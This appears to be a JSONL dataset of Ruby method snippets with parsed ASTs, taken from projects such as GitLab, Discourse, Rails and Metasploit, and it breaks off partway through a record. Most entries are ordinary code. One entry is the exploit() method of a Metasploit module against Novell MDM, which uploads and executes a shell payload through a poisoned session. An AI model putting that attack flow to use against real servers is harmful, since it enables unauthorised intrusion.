{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/application_rate_limiter.rb","start_line":345,"raw_source":"def scoped_user_in_allowlist?(scope, users_allowlist)\n        return unless users_allowlist.present?\n\n        scoped_user = [scope].flatten.find { |s| s.is_a?(User) }\n        return unless scoped_user\n\n        username = scoped_user.username.downcase\n        users_allowlist.any? { |u| u.downcase == username }\n      end","complexity_score":15.9,"ast_json":"{\"type\":\"def\",\"children\":[\"scoped_user_in_allowlist?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scope\"]},{\"type\":\"arg\",\"children\":[\"users_allowlist\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users_allowlist\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"scoped_user\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]}]},\"flatten\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"User\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scoped_user\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"username\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scoped_user\"]},\"username\"]},\"downcase\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users_allowlist\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"u\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"downcase\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"username\"]}]}]}]}]}","id":"8d76a9a6-dd68-43b7-befe-40b4558d24ad"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/app/models/cost_query/custom_field_mixin.rb","start_line":50,"raw_source":"def all\n    @all ||= generate_subclasses\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"all\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@all\"]},{\"type\":\"send\",\"children\":[null,\"generate_subclasses\"]}]}]}","id":"e082981a-f775-4d8c-8f08-65551ca662e6"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/discourse_redis.rb","start_line":263,"raw_source":"def initialize(script)\n      @script = script\n      @sha1 = Digest::SHA1.hexdigest(script)\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"script\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@script\",{\"type\":\"lvar\",\"children\":[\"script\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@sha1\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA1\"]},\"hexdigest\",{\"type\":\"lvar\",\"children\":[\"script\"]}]}]}]}]}","id":"f469cdd0-3ffd-4e34-8d79-5edd1faa3b1c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/sql/glob_spec.rb","start_line":36,"raw_source":"def match(string, pattern)\n    value = query(\"SELECT #{quote(string)} LIKE #{pattern}\")\n              .rows.flatten.first\n\n    case value\n    when true, 1\n      true\n    else\n      false\n    end\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"match\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string\"]},{\"type\":\"arg\",\"children\":[\"pattern\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quote\",{\"type\":\"lvar\",\"children\":[\"string\"]}]}]},{\"type\":\"str\",\"children\":[\" LIKE \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]}]}]}]},\"rows\"]},\"flatten\"]},\"first\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"when\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"false\",\"children\":[]}]}]}]}","id":"0b4aa98c-0563-4b25-8ce3-7f770e1e0358"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/services/discourse_ai/persona_exporter.rb","start_line":10,"raw_source":"def export\n      serialized_custom_tools = serialize_tools(@persona)\n      serialize_persona(@persona, serialized_custom_tools)\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"export\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"serialized_custom_tools\",{\"type\":\"send\",\"children\":[null,\"serialize_tools\",{\"type\":\"ivar\",\"children\":[\"@persona\"]}]}]},{\"type\":\"send\",\"children\":[null,\"serialize_persona\",{\"type\":\"ivar\",\"children\":[\"@persona\"]},{\"type\":\"lvar\",\"children\":[\"serialized_custom_tools\"]}]}]}]}","id":"ad27e2ea-476d-471c-abec-2679840b0915"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/target_finder.rb","start_line":192,"raw_source":"def ruby_interpreters(file)\n      @config_store.for(file).for_all_cops['RubyInterpreters']\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"ruby_interpreters\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config_store\"]},\"for\",{\"type\":\"lvar\",\"children\":[\"file\"]}]},\"for_all_cops\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RubyInterpreters\"]}]}]}","id":"1d1d90bc-34fd-48a8-b1b3-9c590a5fe8d2"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package/pdf_export/work_package_list_to_pdf.rb","start_line":270,"raw_source":"def build_meta_infos_map(work_packages)\n    return build_flat_meta_infos_map(work_packages) unless query.show_hierarchies\n\n    # build a quick access map for the hierarchy tree\n    infos_map = init_meta_infos_map_nodes work_packages\n    # connect parent and children (only wp available in the query)\n    infos_map = link_meta_infos_map_nodes infos_map, work_packages\n    # recursive travers creating level index path e.g. [1, 2, 1] from root nodes\n    root_nodes = infos_map.values.select { |node| node[:parent].nil? }\n    flat_list = []\n    fill_meta_infos_map_nodes({ children: root_nodes }, [], flat_list)\n    [infos_map, flat_list]\n  end","complexity_score":16.9,"ast_json":"{\"type\":\"def\",\"children\":[\"build_meta_infos_map\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_packages\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"show_hierarchies\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build_flat_meta_infos_map\",{\"type\":\"lvar\",\"children\":[\"work_packages\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"infos_map\",{\"type\":\"send\",\"children\":[null,\"init_meta_infos_map_nodes\",{\"type\":\"lvar\",\"children\":[\"work_packages\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"infos_map\",{\"type\":\"send\",\"children\":[null,\"link_meta_infos_map_nodes\",{\"type\":\"lvar\",\"children\":[\"infos_map\"]},{\"type\":\"lvar\",\"children\":[\"work_packages\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"root_nodes\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"infos_map\"]},\"values\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"parent\"]}]},\"nil?\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"flat_list\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"fill_meta_infos_map_nodes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"children\"]},{\"type\":\"lvar\",\"children\":[\"root_nodes\"]}]}]},{\"type\":\"array\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"flat_list\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"infos_map\"]},{\"type\":\"lvar\",\"children\":[\"flat_list\"]}]}]}]}","id":"ff034f38-341e-4e38-bbd7-7eedb4889ede"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/fp/result.rb","start_line":341,"raw_source":"def call_and_optionally_enforce_value_is_not_mutated(callee:, value:, invoking_method:, enforce_immutability:)\n        return_value_from_call =\n          if enforce_immutability\n            # If enforce_immutability is true, deep clone and freeze the value before passing it,\n            # so that the callee can't mutate the original value\n            begin\n              callee.call(deep_clone_and_freeze(value))\n            rescue FrozenError => e\n              err_msg = \"ERROR: #{callee} must not modify the passed value argument, because it was invoked via \" \\\n                \"Result##{invoking_method}. Ensure that no side effects are being performed which modify any \" \\\n                \"properties of nested objects, such as lazy memoization. \" \\\n                \"Alternately, you can pass 'enforce_immutability: false' to Result##{invoking_method}.\"\n              raise e.exception(\"#{e.message}. #{err_msg}\")\n            end\n          else\n            callee.call(value)\n          end\n\n        validate_return_value_is_void(return_value: return_value_from_call, invoking_method: invoking_method)\n      end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"call_and_optionally_enforce_value_is_not_mutated\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"callee\"]},{\"type\":\"kwarg\",\"children\":[\"value\"]},{\"type\":\"kwarg\",\"children\":[\"invoking_method\"]},{\"type\":\"kwarg\",\"children\":[\"enforce_immutability\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"return_value_from_call\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enforce_immutability\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"callee\"]},\"call\",{\"type\":\"send\",\"children\":[null,\"deep_clone_and_freeze\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FrozenError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"err_msg\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ERROR: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"callee\"]}]},{\"type\":\"str\",\"children\":[\" must not modify the passed value argument, because it was invoked via \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Result#\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invoking_method\"]}]},{\"type\":\"str\",\"children\":[\". Ensure that no side effects are being performed which modify any \"]}]},{\"type\":\"str\",\"children\":[\"properties of nested objects, such as lazy memoization. \"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Alternately, you can pass 'enforce_immutability: false' to Result#\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invoking_method\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"exception\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"str\",\"children\":[\". \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err_msg\"]}]}]}]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"callee\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"validate_return_value_is_void\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"return_value\"]},{\"type\":\"lvar\",\"children\":[\"return_value_from_call\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"invoking_method\"]},{\"type\":\"lvar\",\"children\":[\"invoking_method\"]}]}]}]}]}]}","id":"447df782-ac17-4fd2-a584-6ee0423856aa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/concerns/validates_classification_label.rb","start_line":21,"raw_source":"def rejection_reason_for_label(label)\n    reason_from_service = ::Gitlab::ExternalAuthorization.rejection_reason(current_user, label).presence\n    reason_from_service || (_(\"Access to '%{classification_label}' not allowed\") % { classification_label: label })\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"rejection_reason_for_label\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"label\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"reason_from_service\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"ExternalAuthorization\"]},\"rejection_reason\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"label\"]}]},\"presence\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reason_from_service\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Access to '%{classification_label}' not allowed\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"classification_label\"]},{\"type\":\"lvar\",\"children\":[\"label\"]}]}]}]}]}]}]}]}","id":"b2bb2181-7efc-4ef4-a016-aaed14b98e8c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/database/query_analyzers/prevent_cross_database_modification_spec.rb","start_line":89,"raw_source":"def run_queries\n      pipeline.touch\n      project.reload\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"run_queries\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"touch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"reload\"]}]}]}","id":"6d59cf48-01c9-4c0c-b0ce-5d9ea9734d6f"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/time_zone_test.rb","start_line":229,"raw_source":"def test_local_enforces_fall_dst_rules\n    # 1AM during fall DST transition is ambiguous, it could be either DST or non-DST 1AM\n    # Mirroring Time.local behavior, this method selects the DST time\n    zone = ActiveSupport::TimeZone[\"Eastern Time (US & Canada)\"]\n    twz = zone.local(2006, 10, 29, 1)\n    assert_equal Time.utc(2006, 10, 29, 1), twz.time\n    assert_equal Time.utc(2006, 10, 29, 5), twz.utc\n    assert_equal true, twz.dst?\n    assert_equal \"EDT\", twz.zone\n  end","complexity_score":19.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_local_enforces_fall_dst_rules\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"zone\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeZone\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Eastern Time (US & Canada)\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"twz\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zone\"]},\"local\",{\"type\":\"int\",\"children\":[2006]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[29]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2006]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[29]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"time\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2006]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[29]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"utc\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"dst?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"EDT\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"zone\"]}]}]}]}","id":"b5e9efb0-2dcb-47b0-adf8-4f0333a6bac2"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_cross_site_scripting.rb","start_line":386,"raw_source":"def safe_input_attribute? target, method\n    target and always_safe_method? method\n  end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"safe_input_attribute?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]},{\"type\":\"arg\",\"children\":[\"method\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"send\",\"children\":[null,\"always_safe_method?\",{\"type\":\"lvar\",\"children\":[\"method\"]}]}]}]}","id":"b04be7e6-222e-4c91-bcba-13c655803e06"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/novell_mdm_lfi.rb","start_line":129,"raw_source":"def exploit()\n    begin\n      print_status(\"Checking application version...\")\n      v = get_version\n      if v.nil?\n        print_error(\"Unable to detect version, abort!\")\n        return\n      end\n\n      print_good(\"Found Version #{v}\")\n      print_status(\"Setting up poisoned session\")\n      session_id, cmd = setup_session()\n      print_status(\"Uploading payload\")\n      fname = upload_shell(session_id, cmd)\n      print_status(\"Executing payload\")\n      exec_shell(session_id, cmd, fname)\n    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout\n    rescue ::Timeout::Error, ::Errno::EPIPE\n    rescue ::OpenSSL::SSL::SSLError => e\n      return if (e.to_s.match(/^SSL_connect /)) # strange errors / exception if SSL connection aborted\n    end\n  end","complexity_score":26.2,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Checking application version...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"v\",{\"type\":\"send\",\"children\":[null,\"get_version\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Unable to detect version, abort!\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found Version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Setting up poisoned session\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"session_id\"]},{\"type\":\"lvasgn\",\"children\":[\"cmd\"]}]},{\"type\":\"send\",\"children\":[null,\"setup_session\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Uploading payload\"]}]},{\"type\":\"lvasgn\",\"children\":[\"fname\",{\"type\":\"send\",\"children\":[null,\"upload_shell\",{\"type\":\"lvar\",\"children\":[\"session_id\"]},{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Executing payload\"]}]},{\"type\":\"send\",\"children\":[null,\"exec_shell\",{\"type\":\"lvar\",\"children\":[\"session_id\"]},{\"type\":\"lvar\",\"children\":[\"cmd\"]},{\"type\":\"lvar\",\"children\":[\"fname\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionRefused\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"HostUnreachable\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionTimeout\"]}]},null,null]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Timeout\"]},\"Error\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Errno\"]},\"EPIPE\"]}]},null,null]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"OpenSSL\"]},\"SSL\"]},\"SSLError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"to_s\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^SSL_connect \"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[]},null]}]},null]}]}]}","id":"3fb9c845-d939-448d-9fce-79ec5e0e2b0b"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/services/messages/audio_transcription_service.rb","start_line":11,"raw_source":"def perform\n    return { error: 'Transcription limit exceeded' } unless can_transcribe?\n    return { error: 'Message not found' } if message.blank?\n\n    transcriptions = transcribe_audio\n    Rails.logger.info \"Audio transcription successful: #{transcriptions}\"\n    { success: true, transcriptions: transcriptions }\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_transcribe?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"str\",\"children\":[\"Transcription limit exceeded\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"message\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"str\",\"children\":[\"Message not found\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"transcriptions\",{\"type\":\"send\",\"children\":[null,\"transcribe_audio\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Audio transcription successful: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transcriptions\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"transcriptions\"]},{\"type\":\"lvar\",\"children\":[\"transcriptions\"]}]}]}]}]}","id":"6c7c11b5-ee69-48b2-bcb8-a7908a15e214"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/moderations_controller.rb","start_line":14,"raw_source":"def index\n    skip_authorization\n    return unless current_user&.trusted?\n\n    @feed = params[:state] == \"latest\" ? \"latest\" : \"inbox\"\n    @members = params[:members].in?(%w[new not_new]) ? params[:members] : \"all\"\n\n    # Use the optimized service to fetch articles\n    @articles = Moderations::ArticleFetcherService.new(\n      user: current_user,\n      feed: @feed,\n      members: @members,\n      tag: params[:tag]\n    ).call\n\n    # Cache tag-related queries\n    if params[:tag].present?\n      @tag = Rails.cache.fetch(\"moderations_tag_#{params[:tag]}\", expires_in: 1.hour) do\n        Tag.find_by(name: params[:tag]) || not_found\n      end\n    end\n\n    # Cache user tag queries\n    @current_user_tags = current_user.moderator_for_tags\n    @current_user_following_tags = current_user.currently_following_tags.pluck(:name) - @current_user_tags\n  end","complexity_score":55.58,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_authorization\"]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"trusted?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@feed\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"state\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"latest\"]}]},{\"type\":\"str\",\"children\":[\"latest\"]},{\"type\":\"str\",\"children\":[\"inbox\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@members\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"members\"]}]},\"in?\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"new\"]},{\"type\":\"str\",\"children\":[\"not_new\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"members\"]}]},{\"type\":\"str\",\"children\":[\"all\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@articles\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Moderations\"]},\"ArticleFetcherService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"feed\"]},{\"type\":\"ivar\",\"children\":[\"@feed\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"members\"]},{\"type\":\"ivar\",\"children\":[\"@members\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tag\"]}]}]}]}]},\"call\"]}]},{\"type\":\"if\",\